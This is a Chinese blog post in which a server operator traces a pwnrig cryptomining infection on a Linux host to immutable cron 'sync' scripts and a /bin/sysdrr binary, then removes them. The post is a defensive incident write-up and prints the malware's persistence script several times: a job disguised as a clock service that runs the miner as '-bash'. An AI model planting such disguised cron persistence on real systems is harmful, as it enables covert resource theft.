杀毒成瘾--继续linux服务器挖矿病毒的查杀

运维人员详细记录了查找Linux系统中病毒源的过程,通过分析cron相关文件,发现带有i属性的恶意sync脚本,该脚本尝试复制并执行/bin/sysdrr。通过解除文件i属性,成功移除恶意文件,防止其继续占用系统资源。检查了其他cron目录下的sync文件并同样处理,确保系统安全。
摘要由CSDN通过智能技术生成

运维播报

前言

上篇文章详见:Linux系统占用cpu病毒处理记录
在昨天设置好定时关闭病毒进程的任务后,今天早上检查一下效果,查看回写日志信息,如下图:
查看定时关闭进程结果
今天继续查找病毒源头。

实时记录

由于直接通过crontab -l命令无法查到真实定时任务,只能通过排查/etc下的cron相关文件进行排查分析。
在这里插入图片描述
首先/etc/cron.d目录下存在0hourly文件,查看内容如下:

[root@MiWiFi-R2D-srv ~]# cat /etc/cron.d/0hourly
# Run the hourly jobs
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
01 * * * * root run-parts /etc/cron.hourly

对以上内容进行分析,run-parts命令是指遍历目标目录,执行第一层目录下的可执行权限的文件。
然后查看/etc/cron.hourly目录,继续分析:
查看hourly目录文件01

[root@MiWiFi-R2D-srv ~]# cat /etc/cron.hourly/
0anacron  sync
[root@MiWiFi-R2D-srv ~]# cat /etc/cron.hourly/0anacron
#!/bin/sh
# Check whether 0anacron was run today already
if test -r /var/spool/anacron/cron.daily; then
    day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
    exit 0;
fi

# Do not run jobs when on battery power
if test -x /usr/bin/on_ac_power; then
    /usr/bin/on_ac_power >/dev/null 2>&1
    if test $? -eq 1; then
    exit 0
    fi
fi
/usr/sbin/anacron -s
[root@MiWiFi-R2D-srv ~]# cat /var/spool/anacron/cron.daily
20210925
[root@MiWiFi-R2D-srv ~]#

在/etc/cron.hourly目录下,有两个可执行文件,分别是0anacron和sync文件,首先查看0anacron文件内容,并查看内容中关联的/var/spool/anacron/cron.daily文件,暂时没有异常,暂放一旁。
继续对sync文件查看分析:
查看hourly目录文件02

[root@MiWiFi-R2D-srv ~]# cat /etc/cron.hourly/sync
#!/bin/bash
#
#      Start/Stop the pwnrig clock daemon
#
# chkconfig 2345 90 60
# description: sync clock (GNU System)
cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/null
cd /usr/bin/ 2>/dev/null
./-bash -c >/dev/null
rm -rf -- -bash 2>/dev/null
[root@MiWiFi-R2D-srv ~]# ll /bin/sysdrr
-rwxr-xr-x. 1 root root 1878496 May  5  2015 /bin/sysdrr
[root@MiWiFi-R2D-srv ~]# cat /bin/sysdrr
▒▒L▒▒LX▒▒ ELF>▒@▒▒▒▒▒YQ▒td▒%▒nUPX!$
……

sync中有个异常命令cp -f -r -- /bin/sysdrr /usr/bin/-bash,结合之前病毒的进程信息以及查看进程的关联文件信息,初步确认应该是此命令与病毒有关,通过cat查看/bin/sysdrr的文件内容,应该是文件格式不对,直接导致乱码并刷屏,终止查看进程。
既然找到源头文件,开始对源头文件进行处理:
操作/bin/sysdrr文件

[root@MiWiFi-R2D-srv ~]#
[root@MiWiFi-R2D-srv ~]# ll /bin/sysdrr
-rwxr-xr-x. 1 root root 1878496 May  5  2015 /bin/sysdrr
[root@MiWiFi-R2D-srv ~]# ll -h /bin/sysdrr
-rwxr-xr-x. 1 root root 1.8M May  5  2015 /bin/sysdrr
[root@MiWiFi-R2D-srv ~]# mv /bin/sysdrr bin-sysdrr.bak
mv: cannot move ‘/bin/sysdrr’ to ‘bin-sysdrr.bak’: Operation not permitted
[root@MiWiFi-R2D-srv ~]# lsattr /bin/sysdrr
----i----------- /bin/sysdrr
[root@MiWiFi-R2D-srv ~]# chattr -i /bin/sysdrr
[root@MiWiFi-R2D-srv ~]# mv /bin/sysdrr bin-sysdrr.bak
[root@MiWiFi-R2D-srv ~]#

对源文件进行转移并重命名操作,提示Operation not permitted,此账号是root,竟然也有权限限制,通过查找资料了解到,由于文件被增加了i属性,导致文件不能被修改,更不可被删除,即使是root用户也不行。【参考链接:root用户被提示:Operation not permitted
通过lsattr命令查看文件属性,确实有i属性,并通过chattr -i 去掉文件的属性,之后可正常对文件进行操作。
同时对定时任务中的sync文件进行相同操作:
操作sync文件

[root@MiWiFi-R2D-srv ~]# mv /etc/cron.hourly/sync etc-cron.hourly-sync.bak
mv: cannot move ‘/etc/cron.hourly/sync’ to ‘etc-cron.hourly-sync.bak’: Operation not permitted
[root@MiWiFi-R2D-srv ~]# lsattr /etc/cron.hourly/sync
----i----------- /etc/cron.hourly/sync
[root@MiWiFi-R2D-srv ~]# lsattr /etc/cron.hourly/
---------------- /etc/cron.hourly/0anacron
----i----------- /etc/cron.hourly/sync
[root@MiWiFi-R2D-srv ~]# chattr -i /etc/cron.hourly/sync
[root@MiWiFi-R2D-srv ~]# mv /etc/cron.hourly/sync etc-cron.hourly-sync.bak
[root@MiWiFi-R2D-srv ~]#

知道以上情况后,快速查看其他/etc/cron开头目录的文件,查看是否包含i属性:
快速排查带有i属性的定时任务文件

[root@MiWiFi-R2D-srv ~]# cd /etc/cron.
cron.d/       cron.daily/   cron.deny     cron.hourly/  cron.monthly/ cron.weekly/
[root@MiWiFi-R2D-srv ~]# cat /etc/cron.daily/
logrotate    man-db.cron  sync
[root@MiWiFi-R2D-srv ~]# lsattr /etc/cron.daily/
---------------- /etc/cron.daily/logrotate
---------------- /etc/cron.daily/man-db.cron
----i----------- /etc/cron.daily/sync
[root@MiWiFi-R2D-srv ~]# lsattr /etc/cron.monthly/
----i----------- /etc/cron.monthly/sync
[root@MiWiFi-R2D-srv ~]# lsattr /etc/cron.weekly/
----i----------- /etc/cron.weekly/sync
[root@MiWiFi-R2D-srv ~]# lsattr /etc/cron.d
---------------- /etc/cron.d/0hourly
[root@MiWiFi-R2D-srv ~]# lsattr /etc/cron.hourly/
---------------- /etc/cron.hourly/0anacron
[root@MiWiFi-R2D-srv ~]# lsattr /etc/cron.deny
---------------- /etc/cron.deny
[root@MiWiFi-R2D-srv ~]#

发现在daily、monthly、weekly目录中,共有三个sync文件都带有i属性,按照上面的方法,对文件进行转移操作:
对剩余sync文件进行操作

[root@MiWiFi-R2D-srv ~]#
[root@MiWiFi-R2D-srv ~]# chattr -i /etc/cron.daily/sync
[root@MiWiFi-R2D-srv ~]# chattr -i /etc/cron.monthly/sync
[root@MiWiFi-R2D-srv ~]# chattr -i /etc/cron.weekly/sync
[root@MiWiFi-R2D-srv ~]# mv /etc/cron.daily/sync etc-cron.daily-sync.bak
[root@MiWiFi-R2D-srv ~]# mv /etc/cron.monthly/sync etc-cron.monthly-sync.bak
[root@MiWiFi-R2D-srv ~]# mv /etc/cron.weekly/sync etc-cron.weekly-sync.bak
[root@MiWiFi-R2D-srv ~]# cat etc-cron.daily-sync.bak
#!/bin/bash
#
#      Start/Stop the pwnrig clock daemon
#
# chkconfig 2345 90 60
# description: sync clock (GNU System)
cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/null
cd /usr/bin/ 2>/dev/null
./-bash -c >/dev/null
rm -rf -- -bash 2>/dev/null
[root@MiWiFi-R2D-srv ~]# cat etc-cron.monthly-sync.bak
#!/bin/bash
#
#      Start/Stop the pwnrig clock daemon
#
# chkconfig 2345 90 60
# description: sync clock (GNU System)
cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/null
cd /usr/bin/ 2>/dev/null
./-bash -c >/dev/null
rm -rf -- -bash 2>/dev/null
[root@MiWiFi-R2D-srv ~]# cat etc-cron.weekly-sync.bak
#!/bin/bash
#
#      Start/Stop the pwnrig clock daemon
#
# chkconfig 2345 90 60
# description: sync clock (GNU System)
cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/null
cd /usr/bin/ 2>/dev/null
./-bash -c >/dev/null
rm -rf -- -bash 2>/dev/null
[root@MiWiFi-R2D-srv ~]#

转移完成后,分别查看文件内容,确认所有文件的相同源文件都是基于/bin/sysdrr,以上操作完成后,应该不会再有病毒占用资源。

结尾

把之前设置的定时关闭病毒进程的定时任务去掉,并持续观察一段时间再做定论。

【记录于2021年9月25日】

评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值